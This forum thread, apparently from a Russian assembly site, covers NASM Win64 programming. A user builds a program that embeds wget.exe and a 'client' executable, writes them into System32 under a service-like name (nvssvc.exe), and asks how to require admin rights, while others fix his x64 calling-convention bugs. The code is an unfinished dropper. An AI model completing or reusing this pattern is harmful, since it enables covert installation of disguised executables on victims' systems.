NASM WIN64 HELLO WORLD

Тема в разделе "NASM", создана пользователем Hacker, 9 янв 2021.

  1. Mikl___

    Mikl___ Супермодератор Команда форума

    Публикаций:
    14
    Регистрация:
    25 июн 2008
    Сообщения:
    3.797
    Пример 32-разрядного простого окна
    Код (ASM):
    1. ; nasm windows gui #
    2. ; nasmw hello.asm -o hello.exe
    3. %macro invoke 1-*  ; macro to call Win32 API functions
    4.     %rep %0 - 1     ; repeat for each argument
    5.         %rotate -1  ; rotate right (last becomes %1)
    6.         push %1     ; push argument
    7.     %endrep
    8.     %rotate -1      ; %1 = function name
    9.     CALL [%1]      ; call API function via IAT
    10. %endm
    11. %macro push 1-*
    12.     %rep %0
    13.     push %1
    14.     %rotate 1
    15.     %endrep
    16. %endm
    17. %define COLOR_WINDOW 5
    18. %define exebase 400000h
    19. %define WM_DESTROY 2
    20.     ; Window Styles
    21.     %define WS_OVERLAPPED       0x00000000
    22.     %define WS_POPUP            0x80000000
    23.     %define WS_CHILD            0x40000000
    24.     %define WS_MINIMIZE         0x20000000
    25.     %define WS_VISIBLE          0x10000000
    26.     %define WS_DISABLED         0x08000000
    27.     %define WS_CLIPSIBLINGS     0x04000000
    28.     %define WS_CLIPCHILDREN     0x02000000
    29.     %define WS_MAXIMIZE         0x01000000
    30.     %define WS_CAPTION          0x00C00000
    31.     %define WS_BORDER           0x00800000
    32.     %define WS_DLGFRAME         0x00400000
    33.     %define WS_VSCROLL          0x00200000
    34.     %define WS_HSCROLL          0x00100000
    35.     %define WS_SYSMENU          0x00080000
    36.     %define WS_THICKFRAME       0x00040000
    37.     %define WS_GROUP            0x00020000
    38.     %define WS_TABSTOP          0x00010000
    39.  
    40.     %define WS_MINIMIZEBOX      0x00020000
    41.     %define WS_MAXIMIZEBOX      0x00010000
    42.     %define WS_TILED            WS_OVERLAPPED
    43.     %define WS_ICONIC           WS_MINIMIZE
    44.     %define WS_SIZEBOX          WS_THICKFRAME
    45.     %define WS_TILEDWINDOW      WS_OVERLAPPEDWINDOW
    46.     ; Common Window Styles
    47. %define WS_OVERLAPPEDWINDOW (WS_OVERLAPPED     | \
    48.                              WS_CAPTION        | \
    49.                              WS_SYSMENU        | \
    50.                              WS_THICKFRAME     | \
    51.                              WS_MINIMIZEBOX    | \
    52.                              WS_MAXIMIZEBOX)
    53. [BITS 32]
    54. ORG exebase
    55. ;for WinXP - 538 bytes
    56. dd 'MZ','PE',1014Ch,0,0,0,10F0080h,10Bh,END_SECTION-start,0,0,start-exebase
    57. dd start-exebase,0,exebase,4,4,4,0,4,0,END_SECTION-exebase,start-exebase,0,2
    58. dd 100000h,1000h,100000h,1000h,0,4,0,0,import-exebase,end_import-import,0,0,0,0
    59. dd '.text',0,start-exebase,END_SECTION-start,start-exebase,0,0,0,0E0000020h
    60. ;---------------------------------------------------------
    61. start: xor ebx,ebx
    62. mov esi,exebase;=400000h
    63. mov edi,wTitle
    64. ;------------------------------
    65. ; registering the window class
    66. ;------------------------------
    67. invoke RegisterClass,esp,ebx,window_procedure,ebx,\
    68.   ebx,esi,ebx,10011h,COLOR_WINDOW+1,ebx,edi
    69. ;--------------------------+
    70. ; creating the main window |
    71. ;--------------------------+
    72.   push ebx,esi
    73.   shl esi,9
    74.   invoke CreateWindowEx,ebx,edi,edi,\
    75.   WS_OVERLAPPEDWINDOW|WS_VISIBLE,esi,esi,esi,esi,ebx,ebx
    76.   mov ebp,esp
    77. ;---------------------------+
    78. ; entering the message loop |
    79. ;---------------------------+
    80. message_loop: invoke GetMessage,ebp,ebx,ebx,ebx
    81.   invoke DispatchMessage,ebp
    82. jmp message_loop
    83. ;----------------------+
    84. ; the window procedure |
    85. ;----------------------+
    86. window_procedure: cmp dword[esp+0x08],byte WM_DESTROY
    87. je short wmDESTROY
    88. jmp dword [DefWindowProc]
    89. wmDESTROY: invoke ExitProcess,ebx
    90. wTitle db 'Iczelion Tutorial #3:A Simple Window in NASM';name of our window
    91. ;-------------------------------------------------------------------------------------------
    92. import:
    93. dd 0,0,0,user32_dll-exebase
    94. dd user32_table-exebase
    95. dd 0,0,0,kernel32_dll-exebase
    96. dd kernel32_table-exebase
    97. dd 0,0,0,0
    98. user32_table:
    99. RegisterClass dd _RegisterClass-exebase
    100. CreateWindowEx          dd _CreateWindowEx-exebase
    101. GetMessage              dd _GetMessage-exebase
    102. DispatchMessage         dd _DispatchMessage-exebase
    103. DefWindowProc           dd _DefWindowProc-exebase,0
    104. kernel32_table:
    105. ExitProcess             dd _ExitProcess-exebase
    106.                         dw 0
    107. _RegisterClass db 0,0,'RegisterClassA'    
    108. _CreateWindowEx db 0,0,'CreateWindowExA'
    109. _GetMessage db 0,0,'GetMessageA'
    110. _DispatchMessage db 0,0,'DispatchMessageA'
    111. _DefWindowProc db 0,0,'DefWindowProcA',0
    112. user32_dll db 'user32'
    113. _ExitProcess db 0,0,'ExitProcess',0
    114. kernel32_dll db 'kernel32'
    115. end_import:
    116. END_SECTION:
     
  2. Hacker

    Hacker Member

    Публикаций:
    0
    Регистрация:
    9 авг 2018
    Сообщения:
    174
    Адрес:
    Москва
    Вот исходинк bin2db.pl - наверное его нужно подправить для nasm.
    Код (Perl):
    1.  
    2. #!/usr/bin/perl
    3.  
    4. use warnings;
    5. use strict;
    6.  
    7. die "usage: $0 <filename>\n" unless $ARGV[0];
    8.  
    9. open BIN,$ARGV[0] or die "$ARGV[0]: $!\n";
    10. binmode BIN,":raw" or die "binmode(): $!\n";
    11.  
    12. my $byte;
    13. my $i = 0;
    14. my $length = 0;
    15. while (read BIN,$byte,1 > 0) {
    16.     $length += 1;
    17.     print "\t"x3 . "db " if $i == 0;
    18.     $i++;
    19.     printf "0%sh",unpack("H2",$byte);
    20.     print ", " if $i < 10;
    21.     if ( $i == 10 ) { print "\n"; $i = 0 }
    22. }
    23.  
    24. print STDERR "$length\n";
    25. print STDERR sprintf "%s\n",unpack("H*",pack("N*",$length));
    26.  
     
  3. Mikl___

    Mikl___ Супермодератор Команда форума

    Публикаций:
    14
    Регистрация:
    25 июн 2008
    Сообщения:
    3.797
    Hacker,
    это перл, а я его не знаю ;) ничего так не ценится, как шишки набитые самостоятельно, запасись терпением, книжками и делай сам, оправдывай свой ник...
     
  4. Hacker

    Hacker Member

    Публикаций:
    0
    Регистрация:
    9 авг 2018
    Сообщения:
    174
    Адрес:
    Москва
    Слишком сложно для меня что бы переписать на nasm win64 :dntknw:
    Потом разберемся ладно, пока буду писать основное тело программы.
    Да, GoLink мусорит своими данными в PE файле, я смотрел... хорошо бы было собрать без его информации bin :dntknw:
     
  5. Mikl___

    Mikl___ Супермодератор Команда форума

    Публикаций:
    14
    Регистрация:
    25 июн 2008
    Сообщения:
    3.797
    bin2dbex.exe есть в стандартном наборе masm32
     

    Вложения:

    • bin2dbex.zip
      Размер файла:
      38,9 КБ
      Просмотров:
      178
  6. Hacker

    Hacker Member

    Публикаций:
    0
    Регистрация:
    9 авг 2018
    Сообщения:
    174
    Адрес:
    Москва
    wget.inc:23: error: parser: instruction expected - ругается почему-то
     
  7. Mikl___

    Mikl___ Супермодератор Команда форума

    Публикаций:
    14
    Регистрация:
    25 июн 2008
    Сообщения:
    3.797
     
  8. Hacker

    Hacker Member

    Публикаций:
    0
    Регистрация:
    9 авг 2018
    Сообщения:
    174
    Адрес:
    Москва
    Ну подскажите тогда как сделать подругому, автоматически.
    Нужно запаковать wget.exe в тело другой программы и потом при запуске распаковать его.
    --- Сообщение объединено, 9 янв 2021 ---
    Код (Perl):
    1.  
    2. #!/usr/bin/perl
    3. use warnings;
    4. use strict;
    5. die "usage: $0 <filename>\n" unless $ARGV[0];
    6. open BIN,$ARGV[0] or die "$ARGV[0]: $!\n";
    7. binmode BIN,":raw" or die "binmode(): $!\n";
    8. my $byte;
    9. my $i = 0;
    10. my $length = 0;
    11. while (read BIN,$byte,1 > 0) {
    12.     $length += 1;
    13.     print "\t"x3 . "db '" if $i == 0;
    14.     $i++;
    15.     printf "0x%s",unpack("H2",$byte);
    16.     print "', '" if $i < 10;
    17.     if ( $i == 10 ) { print "'\n"; $i = 0 }
    18. }
    19. print STDERR "$length\n";
    20. print STDERR sprintf "%s\n",unpack("H*",pack("N*",$length));
    21.  
    Получается вот так как нужно:
    Код (ASM):
    1.  
    2. wget db '0x4d', '0x5a', '0x90', '0x00', '0x03', '0x00', '0x00', '0x00', '0x04', '0x00'
    3. db '0x00', '0x00', '0xff', '0xff', '0x00', '0x00', '0xb8', '0x00', '0x00', '0x00'
    4. db '0x00', '0x00', '0x00', '0x00', '0x40', '0x00', '0x00', '0x00', '0x00', '0x00'
    5. db '0x00', '0x00', '0x00', '0x00', '0x00', '0x00', '0x00', '0x00', '0x00', '0x00'
    6. db '0x00', '0x00', '0x00', '0x00', '0x00', '0x00', '0x00', '0x00', '0x00', '0x00'
    7. db '0x00', '0x00', '0x00', '0x00', '0x00', '0x00', '0x00', '0x00', '0x00', '0x00'
    8. db '0x80', '0x00', '0x00', '0x00', '0x0e', '0x1f', '0xba', '0x0e', '0x00', '0xb4'
    9.  
    10. ...
    11. wget_len equ $-wget
    12.  
    13.  
    --- Сообщение объединено, 9 янв 2021 ---
    Код (ASM):
    1.  
    2. push NULL
    3. push NULL
    4. push 2
    5. mov r9 , 0
    6. mov r8 , 3
    7. mov rdx , 80000000h+40000000h
    8. mov rcx , Buffer_Path
    9. call CreateFileA
    10.  
    GetLastError возвращает 57h =
    ERROR_INVALID_PARAMETER
    The parameter is incorrect.

    Где я не прав?

    вот код целиком пока какой есть:

    main.asm
    Код (ASM):
    1.  
    2. global start
    3.  
    4. NULL equ 0
    5.  
    6.  extern GetSystemDirectoryA
    7.  extern lstrcatA
    8.  extern CreateFileA
    9.  extern WriteFile
    10.  extern CloseHandle
    11.  extern ExitProcess
    12.  
    13. section .data
    14.  
    15. Buffer_Path db 260 dup (?)
    16. hFile dq 1
    17. pBytesWritten dq 1
    18.  
    19. %include 'client.inc'
    20. client_name  db '\nvssvc.exe',0
    21.  
    22. %include 'wget.inc'
    23. wget_name db '\wget.exe',0
    24.  
    25. section .code
    26. start:
    27.  
    28. sub esp,40
    29. mov rdx , 260d
    30. mov rcx , Buffer_Path
    31. call GetSystemDirectoryA
    32.  
    33. mov rdx , wget_name
    34. mov rcx , Buffer_Path
    35. call lstrcatA
    36.  
    37. push NULL
    38. push NULL
    39. push 2
    40. mov r9 , 0
    41. mov r8 , 3
    42. mov rdx , 80000000h+40000000h
    43. mov rcx , Buffer_Path
    44. call CreateFileA
    45.  
    46. %include 'GLE.asm'
    47. call GLE
    48.  
    49. mov [hFile] , rax
    50. push NULL
    51. mov r9 , pBytesWritten
    52. mov r8 , wget_len
    53. mov rdx , wget
    54. mov rcx , rax
    55. call WriteFile
    56.  
    57. mov rcx , hFile
    58. call CloseHandle
    59.  
    60. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    61.  
    62. mov rdx , 260d
    63. mov rcx , Buffer_Path
    64. call GetSystemDirectoryA
    65.  
    66. mov rdx , client_name
    67. mov rcx , Buffer_Path
    68. call lstrcatA
    69.  
    70. push NULL
    71. push NULL
    72. push 2
    73. mov r9 , 0
    74. mov r8 , 3
    75. mov rdx , 80000000h+40000000h
    76. mov rcx , Buffer_Path
    77. call CreateFileA
    78.  
    79. mov [hFile] , rax
    80.  
    81. push NULL
    82. mov r9 , pBytesWritten
    83. mov r8 , client_len
    84. mov rdx , client
    85. mov rcx , rax
    86. call WriteFile
    87.  
    88. mov rcx , hFile
    89. call CloseHandle
    90.  
    91. mov rcx , rax
    92. call ExitProcess
    93.  

    GLE.asm
    Код (ASM):
    1.  
    2.  extern MessageBoxA
    3.  extern ExitProcess
    4.  extern GetLastError
    5.  extern wsprintfA
    6.  
    7. section .data
    8.  
    9.     ErrorCode db 256 dup (?)
    10.     Format db '%08Xh',0
    11.  
    12. section .code
    13. GLE:
    14.  
    15. sub rsp,40
    16. call GetLastError
    17.  
    18. mov r8 , rax
    19. mov rdx , Format
    20. mov rcx , ErrorCode
    21. call wsprintfA
    22.  
    23. mov r9 , NULL
    24. mov r8 , NULL
    25. mov rdx , ErrorCode
    26. mov rcx , NULL
    27. call MessageBoxA
    28.  
    29. mov rcx , rax
    30. call ExitProcess
    31.  
    Client & wget include (там нормальные данные)
    Код (ASM):
    1.  
    2. wget  db '0x55'
    3. db '0x55'
    4. wget_len equ $-wget
    5.  
    &
    Код (ASM):
    1.  
    2. client db '0x55'
    3. db '0x55'
    4. client_len equ $-client
    5.  
    Какой именно из параметров некорректный, и как требовать запускать программу от Администратора?
     
  9. Mikl___

    Mikl___ Супермодератор Команда форума

    Публикаций:
    14
    Регистрация:
    25 июн 2008
    Сообщения:
    3.797
    Hacker,
    ты невнимателен, я же говорил, что нужно обходится без push
    Код (ASM):
    1. mov [rsp+30h],arg7
    2. mov [rsp+28h],arg6
    3. mov [rsp+20h],arg5
    4. mov r9,arg4
    5. mov r8,arg3
    6. mov rdx,arg2
    7. mov rcx,arg1
    8. call foo
     
  10. Hacker

    Hacker Member

    Публикаций:
    0
    Регистрация:
    9 авг 2018
    Сообщения:
    174
    Адрес:
    Москва
    Простите но пока с push. Сейчас переделаю...
     
  11. Mikl___

    Mikl___ Супермодератор Команда форума

    Публикаций:
    14
    Регистрация:
    25 июн 2008
    Сообщения:
    3.797
    Hacker,
    читай пока книжки о NASM, пиши простые программы. То, что ты хочешь написать ― напишешь позже и самостоятельно
     
    M0rg0t нравится это.
  12. Hacker

    Hacker Member

    Публикаций:
    0
    Регистрация:
    9 авг 2018
    Сообщения:
    174
    Адрес:
    Москва
    Ну я пишу достаточно простую программу для разминки :derisive:
     
  13. Mikl___

    Mikl___ Супермодератор Команда форума

    Публикаций:
    14
    Регистрация:
    25 июн 2008
    Сообщения:
    3.797
    Я вижу, но пока у тебя не получается...
     
  14. Intro

    Intro Active Member

    Публикаций:
    0
    Регистрация:
    29 авг 2009
    Сообщения:
    603
    Hacker, не мучайся! Используй UASM!
     
  15. Hacker

    Hacker Member

    Публикаций:
    0
    Регистрация:
    9 авг 2018
    Сообщения:
    174
    Адрес:
    Москва
    mov [rsp+30h] , 0x00
    mov [rsp+28h] , 0x00
    mov [rsp+20h] , 0x02
    mov r9 , 0x00
    mov r8 , 0x03
    mov rdx , 0x80000000+0x40000000
    mov rcx , Buffer_Path
    call CreateFileA
    ____
    main.asm:38: error: operation size not specified
    main.asm:39: error: operation size not specified
    main.asm:40: error: operation size not specified
     
  16. Mikl___

    Mikl___ Супермодератор Команда форума

    Публикаций:
    14
    Регистрация:
    25 июн 2008
    Сообщения:
    3.797
    Код (ASM):
    1. mov qword [rsp+30h] ,0
    2. mov qword [rsp+28h] ,0
    3. mov qword [rsp+20h] ,2
    4. xor r9d, r9d
    5. mov r8d, 3
    6. mov edx , 0x80000000 | 0x40000000
    7. mov ecx , Buffer_Path
    8. call CreateFileA
     
  17. Hacker

    Hacker Member

    Публикаций:
    0
    Регистрация:
    9 авг 2018
    Сообщения:
    174
    Адрес:
    Москва
  18. Rel

    Rel Well-Known Member

    Публикаций:
    2
    Регистрация:
    11 дек 2008
    Сообщения:
    5.330
    Ну да, отличная идея дропать файл в System32.
     
  19. Mikl___

    Mikl___ Супермодератор Команда форума

    Публикаций:
    14
    Регистрация:
    25 июн 2008
    Сообщения:
    3.797
    Alex,
    читай пока книжки о NASM, пиши простые программы
     
    M0rg0t нравится это.
  20. Hacker

    Hacker Member

    Публикаций:
    0
    Регистрация:
    9 авг 2018
    Сообщения:
    174
    Адрес:
    Москва
    Что-то не в порядке с передачей HANDLE FILE функции WriteFile
    Код (ASM):
    1.  
    2. hFile dq 1
    3. ...
    4.  
    5. mov qword [rsp+30h] , 0
    6. mov qword [rsp+28h] , 0
    7. mov qword [rsp+20h] , 2
    8. xor r9 , r9
    9. mov r8 , 3
    10. mov edx , 0x80000000 + 0x40000000
    11. mov ecx , Buffer_Path
    12. call CreateFileA
    13.  
    14. mov [hFile] , rax
    15.  
    16. mov qword [rsp+20h] , 0
    17. mov r9 , pBytesWritten
    18. mov r8 , wget_len
    19. mov rdx , wget
    20. mov rcx , hFile
    21. call WriteFile
    22.  
    23. mov rcx , hFile
    24. call CloseHandle
    25.  
    26. ...
    27.  
    Передаю через регистер rax фаил вроде записывается но получается не полный, видемо не закрывается потом CloseHandle

    Пробывал и mov qword [hFile] , rax и hFile resq 1 - ни чего не получается